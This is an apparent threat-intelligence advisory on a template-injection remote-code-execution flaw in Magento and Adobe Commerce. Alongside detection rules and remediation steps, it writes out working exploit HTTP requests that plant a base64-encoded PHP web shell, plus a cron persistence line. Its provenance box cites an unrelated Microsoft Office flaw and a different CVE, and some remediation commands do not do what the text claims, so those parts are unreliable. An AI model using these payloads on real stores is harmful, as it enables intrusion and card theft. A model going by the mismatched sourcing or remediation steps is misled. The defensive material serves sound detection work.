CVE-2026-75650: Unauthenticated Remote Code Execution via 'StyleSmuggler' Template Injection in Adobe Commerce and Magento
HERMES THREAT SCORE & IN-THE-WILD EXPLOITATION THREAT
Target:Adobe Commerce & Magento Open Source — Email Template Engine & Async Notification Subsystem Both CVSS v3.1 (10.0 Critical) and the Hermes Threat Score (99 EXTREME) reflect the maximum existential risk posed by CVE-2026-75650. Dubbed 'StyleSmuggler', this pre-authentication zero-day vulnerability was observed under active weaponization starting September 4, 2026, and cataloged in the CISA Known Exploited Vulnerabilities (KEV) database on September 8, 2026. Attackers chain application log poisoning with asynchronous email template CSS inlining to execute arbitrary PHP code without credentials. Threat syndicates immediately establish persistence using bespoke Rust-based binaries masquerading as kernel threads (kworker) and inject persistent Magecart payment skimmers into e-commerce checkout flows.
HASS AGENTIC SEVERITY & E-COMMERCE WORKFLOW HIJACKING
Target:Automated Commerce Workflows, Order Processing Daemons & Payment Pipeline While primarily a server-side web compromise, modern Magento installations increasingly deploy AI autonomous agents for inventory forecasting, customer service automation, and fraud detection. Host compromise provides attackers direct control over agent backend databases, enabling the manipulation of order fulfillment logic and the injection of poisoned training records.
CVE-2026-75650: Unauthenticated Remote Code Execution viaVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Software Matrix
Section titled “1. Technical Context & Affected Software Matrix”Adobe Commerce powers large enterprise retail portals globally. The flaw resides in the interaction between the template filtering subsystem and transaction failure notification routines.
| Parameter | Technical Specification | Operational Significance |
|---|---|---|
| CVE Identifier | CVE-2026-75650 | NVD, CISA KEV, Adobe Security Bulletin APSB26-146 |
| Vulnerability Class | Server-Side Template Injection (CWE-1336 / CWE-94) | Dynamic evaluation of smuggled directives during CSS inlining |
| Vulnerable Component | Magento\Email\Model\Template\Filter, Payment Transaction Failure Handler | Email template parsing and CSS styling subsystem |
| Codename | StyleSmuggler | Active campaign deploying stealth Rust ELF persistence |
| Attack Vector | Network (AV:N) pre-authentication HTTP requests | Publicly accessible store checkout and payment endpoints |
| Privileges Required | None (PR:N) | Pre-authentication zero-day |
| User Interaction | None (UI:N) | Zero user interaction required |
| Active Exploitation | CONFIRMED IN-THE-WILD (CISA KEV added 2026-09-08) | Active exploitation observed since 2026-09-04 |
| Affected Versions | Commerce 2.4.4–2.4.9, Magento Open Source 2.4.6–2.4.9 | All unpatched enterprise and community merchants |
| Remediated Version | APSB26-146 (Hotfix VULN-39341) | Enforces strict template sandboxing and disallows file inlining |
2. Vulnerability Anatomy & Root Cause Analysis
Section titled “2. Vulnerability Anatomy & Root Cause Analysis”The Two-Stage StyleSmuggler Mechanism
Section titled “The Two-Stage StyleSmuggler Mechanism”Historically, Magento secured its email templating engine (Magento\Email\Model\Template\Filter) by implementing directive whitelisting ({{config path="..."}}, {{layout handle="..."}}) and prohibiting direct PHP execution.
However, CVE-2026-75650 bypasses these controls through a multi-step smuggling technique:
sequenceDiagram autonumber actor Attacker participant Store as Magento Web Ingress participant Disk as Filesystem (var/log/ var/report/) participant Worker as Async Queue / Cron (email_reminder) participant Engine as Template Filter & CSS Inliner participant OS as Target Operating System
Attacker->>Store: Send malformed checkout request with embedded PHP payload Store->>Disk: Writes failed payment report / log containing smuggled payload Attacker->>Store: Trigger Payment Failed Reminder email dispatch Store->>Worker: Enqueues reminder email rendering task Worker->>Engine: Renders email template with style inlining directive Engine->>Disk: Inlines stylesheet referenced via local path traversal Disk-->>Engine: Returns poisoned log file containing raw PHP tags Engine->>OS: Evaluates PHP code via un-sandboxed eval / include OS-->>Attacker: Spawns root/www-data reverse shell / drops Rust backdoorFlawed Directive Parsing in CSS Inliner
Section titled “Flawed Directive Parsing in CSS Inliner”During email generation, Magento applies inline styles to ensure emails render correctly in desktop and mobile email clients. The CSS inlining library was configured to resolve <style> block references dynamically.
When resolving external or local stylesheet paths, the inliner allowed path-traversal sequences:
// Vulnerable logic pattern in Magento Email Filterpublic function inlineCssDirective($construction){ $params = $this->getParameters($construction[2]); $filePath = $params['file']; // Attacker controls file path via poisoned report
if ($this->isAllowedPath($filePath)) { // FLAW: isAllowedPath permitted paths within var/report/ and var/log/ $content = file_get_contents($this->directoryList->getRoot() . '/' . $filePath);
// Template compiler dynamically processes custom directives within styles return $this->processCustomStyleDirectives($content); } return '';}Because var/log/ and var/report/ were considered legitimate internal paths, the inliner ingested the poisoned file. When compiling style directives containing nested template expressions, the parser fell back to dynamic PHP code generation, executing the payload directly in the web server process.
3. Threat Vectors, Exploitation Mechanics & Attack Flow
Section titled “3. Threat Vectors, Exploitation Mechanics & Attack Flow”Exploitation Weaponization
Section titled “Exploitation Weaponization”An adversary initiates the attack chain by submitting an unauthenticated checkout attempt containing a crafted customer name or payment failure token:
POST /rest/V1/guest-carts/abc123def456/payment-information HTTP/1.1Host: store.victim-retailer.comContent-Type: application/json
{ "paymentMethod": { "method": "checkmo", "additional_data": { "transaction_id": "tx_<?php file_put_contents('/var/www/html/pub/media/health.php', base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXTspOz8+')); ?>" } }, "billingAddress": { "email": "attacker@darkmail.org" }}Upon processing, Magento logs the transaction failure into var/log/exception.log or a specific report file under var/report/.
Next, the attacker invokes the payment failure reminder endpoint or triggers the asynchronous cron runner with a smuggled template parameter:
POST /rest/V1/guest-carts/abc123def456/reminder HTTP/1.1Host: store.victim-retailer.comContent-Type: application/json
{ "template_override": "{{css file=\"var/log/exception.log\"}}"}The template engine processes the style directive, evaluates the contents of exception.log, executes the embedded PHP code, and creates the web shell /pub/media/health.php.
4. Forensic Execution Flow, In-the-Wild Weaponization & Malware Analysis
Section titled “4. Forensic Execution Flow, In-the-Wild Weaponization & Malware Analysis”In-the-Wild Exploitation Characteristics
Section titled “In-the-Wild Exploitation Characteristics”Incident response observations across impacted retailers reveal a consistent post-exploitation playbook:
- Deployment of Rust-Based Backdoors: Within 90 seconds of initial RCE, adversaries drop compiled 64-bit Linux ELF binaries written in Rust. These binaries are dropped into
/dev/shm/,/tmp/, or/var/tmp/. - Process Masquerading: The malware renames its process name in memory using
prctl(PR_SET_NAME, ...)to disguise itself as legitimate system threads:[kworker/u64:2-events][fc-cache][jbd2/sda1-8]
- Cron Persistence: Adversaries write persistent execution entries into
/etc/cron.d/or/var/spool/cron/crontabs/www-data:Terminal window */10 * * * * root /var/tmp/.fc-cache --daemon >/dev/null 2>&1 - Magecart Payment Card Skimmers: Adversaries modify core checkout template files (such as
vendor/magento/module-checkout/view/frontend/templates/onepage.phtmlor database tablecore_config_data) to inject obfuscated JavaScript that intercepts credit card numbers, CVVs, and billing addresses at form submission.
DFIR Triage Checklist
Section titled “DFIR Triage Checklist”When auditing a suspected Magento instance:
- Check for recently modified files in
pub/media/,pub/static/, andvar/:Terminal window find /var/www/html/pub/media -type f -mtime -14 -name "*.php" - Inspect running processes for suspicious masqueraded binaries:
Terminal window ls -l /proc/[0-9]*/exe 2>/dev/null | grep -E '(tmp|shm|var)' - Review web server access logs for anomalous requests to guest-cart APIs followed immediately by requests to unexpected PHP files in static media directories.
5. Detection Engineering & Sigma Rules
Section titled “5. Detection Engineering & Sigma Rules”Sigma Rule: Web Server Spawning Suspected System Daemons (Process Masquerading)
Section titled “Sigma Rule: Web Server Spawning Suspected System Daemons (Process Masquerading)”title: Web Server Spawning Masqueraded Kernel Process (StyleSmuggler Post-RCE)id: 8b671a90-341e-4cb2-a721-c75650000001status: experimentaldescription: Detects Apache or PHP-FPM spawning binary processes masquerading as kworker or system utilities from temporary or world-writable directories.author: Hermes Codex Cyber Threat Intelligencedate: 2026-09-16references: - https://helpx.adobe.com/security/products/magento/apsb26-146.html - https://www.cisa.gov/known-exploited-vulnerabilities-cataloglogsource: category: process_creation product: linuxdetection: selection_parent: ParentImage|endswith: - '/php-fpm' - '/apache2' - '/httpd' - '/nginx' selection_masquerade: Image|contains: - 'kworker' - 'fc-cache' - 'jbd2' - 'systemd-worker' selection_path: Image|contains: - '/dev/shm' - '/tmp' - '/var/tmp' - '/pub/media' condition: selection_parent and (selection_masquerade or selection_path)fields: - ParentImage - Image - CommandLine - Userlevel: criticaltags: - attack.execution - attack.t1059.004 - attack.defense_evasion - attack.t1036.004 - cve.2026.75650YARA Rule: Detection of Rust-Based StyleSmuggler Backdoor ELF
Section titled “YARA Rule: Detection of Rust-Based StyleSmuggler Backdoor ELF”rule Linux_Backdoor_StyleSmuggler_Rust { meta: description = "Detects compiled Rust backdoor dropped in CVE-2026-75650 StyleSmuggler exploitation campaigns" author = "Hermes Codex Cyber Threat Intelligence" date = "2026-09-16" reference = "https://helpx.adobe.com/security/products/magento/apsb26-146.html" cve = "CVE-2026-75650" score = 95 strings: $magic = { 7F 45 4C 46 } $s1 = "kworker/u64:" ascii $s2 = "/dev/shm/.session" ascii $s3 = "src/transport/socks5.rs" ascii $s4 = "magento_skimmer_relay" ascii $rust = "rustc " ascii condition: $magic at 0 and ($rust and 2 of ($s*)) and filesize < 15MB}6. Hardening, Remediation & Verification
Section titled “6. Hardening, Remediation & Verification”-
Apply Emergency Hotfix VULN-39341 (Adobe APSB26-146): Download the official security patch from the Adobe Commerce Quality Patches (AQP) tool or vendor portal and apply it via Git or Composer:
Terminal window vendor/bin/ece-patches apply VULN-39341# Or via composer update for patched release branches:composer update magento/product-enterprise-edition --with-dependenciesphp bin/magento setup:upgradephp bin/magento cache:clean -
Conduct Complete Forensic Verification for Pre-Existing Compromise: Because active in-the-wild exploitation preceded patch availability, assume systems were exposed. Inspect crontabs, check active network connections, and verify core file integrity:
Terminal window # Check active outbound connections from web userss -tupn | grep -E '(php|nginx|apache)'# Validate Magento code integrity against canonical checksumsphp bin/magento setup:di:compile -
Rotate Encryption Keys & Database Credentials: Rotate the Magento application encryption key (
app/etc/env.php), database passwords, and third-party payment gateway secret keys (Stripe, Braintree, PayPal) to invalidate stolen configuration records:Terminal window php bin/magento encryption:payment-data:update -
Restrict Direct Execution in Media & Report Directories: Configure Nginx web server blocks to prevent PHP execution inside writable upload and report directories:
location ~* ^/(pub/media|pub/static|var)/.*\.php$ {deny all;return 404;}